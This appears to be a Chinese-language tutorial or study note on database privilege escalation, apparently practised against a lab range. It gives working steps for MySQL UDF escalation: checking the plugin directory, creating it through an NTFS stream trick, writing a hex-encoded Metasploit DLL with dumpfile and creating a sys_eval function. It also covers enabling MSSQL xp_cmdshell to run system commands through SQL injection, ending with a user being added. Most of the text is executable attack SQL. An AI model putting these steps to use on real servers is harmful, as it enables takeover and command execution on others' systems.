一,Mysql提权
1.UDF
UDF是用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,则可以自己用UDF加函数进去,加了之后就可以创建使用
2.UDF提权利用条件
a.获取目标web shell
b.获取到数据库账号密码且可以远程连接
c.可以操作数据库
d.可以写文件
(如果获取目标webshell 可以在本地进行爆破数据库账号密码,可以找数据库配置文件,可以进行hash破解数据库密码,所以如果拿到webshell,基本上就可以满足其他条件,因为有时虽然上传了shell,但是目标禁用了某些函数,导致蚁剑可以连到,但是打开终端却执行不了命令)
3.UDF提权步骤
(获取到目标数据库账号密码后,这里使用Navicat Premium进行远程连接)
a.确认操作系统和架构
select @@version_compile_os, @@version_compile_machine;
或
show variables like '%compile%';
有些时候,操作系统和mysql版本并不一样,要根据mysql版本来挑选.dll文件,这里发现是32位的,所以.dll文件选为32位
b.查看mysql安装路径和版本
show variables like '%char%';
select @@datadir;
select version();
c.查看plugin路径
mysql5.1以后,udf.ll存放在安装目录\lib\plugin中
select @@plugin_dir;
b.查看是否有写权限
show global variables like '%secure%';
这里如果为空,则代表任意的导入导出,为null代表不允许导入导出,两者不一样
还要明白两条命令
select '111' into dumpfile 'C:\\1.txt';(将字符串111以二进制形式写入1.txt)
select '222' into outfile 'C:\\2.txt';(将字符串111以文本形式写入1.txt)
e.创建plugin目录
mysql5.1以后,udf.ll存放在\lib\plugin目录中,但是有些mysql的安装目录下并没有,这时需要ntfs ads流创建目录
select 'xxx' into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
f.将dll文件转为16进制
metasploit-framework/data/exploits/mysql at master · rapid7/metasploit-framework · GitHub
g.创建临时表
create table udftemp(data BLOB);
h.将转换为16进制的ddl插入临时表
insert into udftemp(data) values (0x+udf.txt中的值);
i.将dll导入pluginmulu
select data from udftemp into dumpfile "C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin";
g.创建函数
create function sys_eval returns string soname 'udf.dll';
这里创建的函数是ddl文件中提前编好的,函数功能也是,名字必须和文件中一样
h.执行命令
select sys_eval('whoami');
二.mssql提权
1.xp_cmdshell
在SQL Server 2000中默认是开启的,在SQL Server 2005及以上版本中xp_cmdshell 默认是关闭的,和mysql不一样,xp_cmdshell是mssql专门用来执行系统命令的,用法如下:
exec master..xp_cmdshell "dos命令";
了解代码之后,就可以将此命令和sql注入一起利用起来,实现sql注入执行系统命令
a.确定目标是否可以执行该指令
select IS_SRVROLEMEMBER ('sysadmin')
返回1则代表目标在sysadmin中,可以执行xp_cmdshell
b.判断是否有xp_cmdshell
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
该命令是统计xp_cmdshell个数,返回1则判断存在xp_cmdshell
c.判断目标是否启用xp_cmdshell
直接执行命令,若报错,则是没开启
exec master..xp_cmdshell "whoami";
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
//开启
d.执行系统命令
exec master..xp_cmdshell "whoami";
此外mssql的sp_oacreate也可以实现同样的效果
e.攻击靶场
尝试闭合,发现没有闭合
于是确定目标是否可以执行xp_cmdshell
判断可以执行xp_cmdshell后,判断是否存在xp_cmdshell
确实存在xp_cmdshell,接下来判断是否启用xp_cmdshell
执行命令后报错,未开启xp_cmdshell,则给他开启
启用之后,执行命令添加用户name